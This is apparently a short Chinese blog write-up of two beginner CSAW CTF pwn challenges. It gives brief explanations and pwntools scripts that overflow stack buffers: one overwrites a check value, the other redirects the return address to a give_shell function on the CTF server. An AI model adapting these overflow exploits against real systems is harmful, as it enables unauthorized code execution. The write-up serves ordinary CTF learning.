18.9.16 PWN3/4----bigboy/get it

今天正好看到了CSAW，这个是pwn里最简单的两个题目题目

3. bigboy

链接：https://pan.baidu.com/s/1fsq8j7KQBOHRBdK4lZUMbA 密码：hsw6

直接IDA

emmm……不想说话，简单溢出就好，脚本

#coding=utf-8
from pwn import *
#conn=remote('pwn.chal.csaw.io',9000)
conn=process('./boi')
payload=0x10*'a'+p64(0xCAF3BAEE)
conn.recvuntil("Are you a big boiiiii??")
conn.sendline(payload)
conn.interactive()

4. get it

链接：https://pan.baidu.com/s/1Wsmb1-giiTvmAKCMNA9INw 密码：aqtu

拖进IDA，我们可以看到提取权限的指令在另一个函数give_shell中，通过溢出，把返回地址改掉就好

上脚本

#coding=utf-8
from pwn import *
#conn=process('./get_it')
conn=remote('pwn.chal.csaw.io',9001)
payload=0x28*'a'+p64(0x00000000004005B6)
conn.recvuntil("Do you gets it??")
conn.sendline(payload)
conn.interactive()